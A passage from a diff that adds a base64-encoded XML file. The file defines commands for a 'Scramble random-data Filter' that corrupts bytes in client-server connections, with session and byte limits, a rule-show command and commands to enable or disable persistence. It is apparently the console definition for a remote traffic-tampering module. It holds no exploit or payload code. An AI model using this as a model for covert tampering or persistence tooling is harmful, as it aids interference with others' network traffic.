+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0i
+c20iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3NtPC9uY3Vyc2VpZD4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk1heCBTZXNzaW9uczwvbmN1cnNlbGFiZWw+DQogICAg
+ICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBl
+Pg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZh
+dWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTU8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11bSBudW1iZXIgb2Ygc2Vzc2lv
+biB0byBhZmZlY3QgYmVmb3JlIGZpbHRlciBpcyB0ZXJtaW5hdGVkLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9ImJkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+
+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9w
+YXJhbV9iZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5CeXRlIERlbGF5
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQog
+ICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAg
+PGFyZ251bWJlcj4xNjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1i
+ZXIgb2YgYnl0ZXMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBieXRlczwvaGVscHRl
+eHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+
+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImJwIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9icDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5C
+eXRlIFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1
+ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE3PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAg
+PGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2YgYnl0ZXMgZmlsdGVyIHdpbGwgYWZmZWN0LjwvaGVscHRl
+eHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+
+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImJtIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9ibTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5N
+YXggQnl0ZXM8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwv
+c2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjE4PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0
+ZXh0Pk1heGltdW0gbnVtYmVyIG9mIGJ5dGVzIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRl
+cm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAg
+ICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9kaXI8L25jdXJzZWlkPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlbGFiZWw+RGlyZWN0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4w
+PC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgZGlyZWN0aW9uIGluIGEgY2xpZW50IHNlcnZlciBj
+b25uZWN0aW9uIHRoYXQgdGhpcyBmaWx0ZXIgYXBwbGllcyB0by4gIElmIGZsYWcgaXMgbm90IHVz
+ZWQsIGJvdGggZGlyZWN0aW9uIHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAxIGlzIGVudGVyZWQs
+IG9ubHkgY29ubmVjdGlvbnMgZnJvbSB0aGUgY2xpZW50IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJ
+ZiAyLCBvbmx5IHRob3NlIGZyb20gdGhlIHNlcnZlci48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJsIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nh
+c2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9sPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRhdGEgTWluaW11bTwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+
+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwRjAwMDAxNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NaW5pbXVtIHZhbHVl
+IGZvciByYW5kb20gZGF0YSBhc3NpZ25tZW50LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwv
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9ImhpIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2Vz
+ZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9oPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkRhdGEgTWF4aW11bTwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWlu
+dDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRjAwMDAxNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+
+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIHZhbHVlIGZv
+ciByYW5kb20gZGF0YSBhc3NpZ25tZW50LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgPC9vcHRpb25hbF9w
+YXJhbWV0ZXJzPg0KICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPHRpdGxlPlNjcmFtYmxlIHJhbmRvbS1kYXRhIEZpbHRlcjwvdGl0bGU+DQogICAgICAgICAg
+ICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQog
+ICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVh
+dGVfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2Ny
+ZWF0ZV9hdHRyaWJfMjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+Y3JlYXRlX2F0dHJpYl8zPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJs
+ZV9jcmVhdGVfYXR0cmliXzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9h
+dHRyaWJfNTwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRl
+X2F0dHJpYl82PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVh
+dGVfYXR0cmliXzc8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2Ny
+ZWF0ZV9hdHRyaWJfODwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAg
+IDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQog
+ICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4N
+CiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAg
+PC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAg
+ICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVt
+ZW50PnNjcmFtYmxlX3BhcmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQog
+ICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJh
+bV9yPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwv
+Y29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5z
+Y3JhbWJsZV9wYXJhbV90PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3Bh
+cmFtX3NtPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fYmQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX2JwPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9ibTwv
+ZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX3BhcmFtX2RpcjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+cGFyYW1fbDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNv
+bHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1faDwvZWxlbWVudD4N
+CiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9u
+Y3Vyc2VzbGF5b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgPC9jbWRncnA+DQogICAgPGNtZGdycCB0
+aXRsZT0icnVsZSI+DQogICAgICA8Y21kIHRpdGxlPSJzaG93Ij4NCiAgICAgICAgPGhlbHB0ZXh0
+PlJldHVybnMgZGV0YWlsZWQgaW5mb3JtYXRpb24gZm9yIGEgc3BlY2lmaWMgcnVsZSwgb3IgYWxs
+IHRoZSBydWxlcy48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8
+cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMjwv
+cHJpbWl0aXZlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8
+b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0
+dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9hdHRy
+aWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TY3JhbWJsZSBJRDwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMjwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxrZXl3b3Jk
+IHRpdGxlPSItYSI+DQogICAgICAgICAgICAgICAgICA8dmFsdWU+MDwvdmFsdWU+DQogICAgICAg
+ICAgICAgICAgPC9rZXl3b3JkPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVz
+Pg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPC9hdHRyaWJ1dGVz
+Pg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSBSdWxlIFNob3c8L3Rp
+dGxlPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9hdHRyaWJfMTwvZWxlbWVudD4N
+CiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9u
+Y3Vyc2VzbGF5b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgPC9jbWRncnA+DQogICAgPGNtZGdycCB0
+aXRsZT0icGVyc2lzdCI+DQogICAgICA8Y21kIHRpdGxlPSJlbmFibGUiPg0KICAgICAgICA8aGVs
+cHRleHQ+RW5hYmxlcyBzY3JhbWJsZSBmaWx0ZXIgdG8gcGVyc2lzdC48L2hlbHB0ZXh0Pg0KICAg
+ICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvcmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAg
+ICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVp
+cmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9lbmFibGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2NyYW1ibGUgSUQ8L25jdXJzZWxhYmVsPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4N
+CiAgICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVs
+dHZhbHVlLz4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgICA8a2V5d29yZCB0aXRsZT0iLWEiPg0KICAgICAgICAgICAgICAgICAgPHZhbHVlPjA8L3Zh
+bHVlPg0KICAgICAgICAgICAgICAgIDwva2V5d29yZD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWly
+ZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAg
+ICAgPGludmlzaWJsZV9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfZW5hYmxlX2F0dHJpYl8yPC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkZsYWc8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZh
+dWx0dmFsdWU+MTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9h
+dHRyaWJ1dGU+DQogICAgICAgICAgPC9pbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAgICAgPC9h
+dHRyaWJ1dGVzPg0KICAgICAgICA8cGFyYW1ldGVycz4NCiAgICAgICAgICA8cmVxdWlyZWRfcGFy
+YW1ldGVycy8+DQogICAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgICA8L3Bh
+cmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICAgIDxzZWN0aW9uPg0K
+ICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPHRpdGxlPlNjcmFtYmxlIFBlcnNp
+c3QgRW5hYmxlPC90aXRsZT4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfZW5hYmxl
+X2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICAgIDxj
+bWQgdGl0bGU9ImRpc2FibGUiPg0KICAgICAgICA8aGVscHRleHQ+RGlzYWJsZXMgc2NyYW1ibGUg
+ZmlsdGVyJ3MgYWJpbGl0eSB0byBwZXJzaXN0LjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRp
+dmVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRp
+dmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgICAgPC9wcmltaXRp
+dmVzPg0KICAgICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX2Rpc2FibGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+U2NyYW1ibGUgSUQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlLz4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8a2V5d29y
+ZCB0aXRsZT0iLWEiPg0KICAgICAgICAgICAgICAgICAgPHZhbHVlPjA8L3ZhbHVlPg0KICAgICAg
+ICAgICAgICAgIDwva2V5d29yZD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgICAgPGludmlzaWJs
+ZV9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfZGlzYWJsZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5GbGFnPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8
+L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgIDwvaW52aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICAgIDwvYXR0cmlidXRlcz4N
+CiAgICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0K
+ICAgICAgICAgIDxvcHRpb25hbF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgPC9wYXJhbWV0ZXJzPg0K
+ICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSBQZXJzaXN0IERpc2FibGU8
+L3RpdGxlPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9kaXNhYmxlX2F0dHJpYl8x
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0K
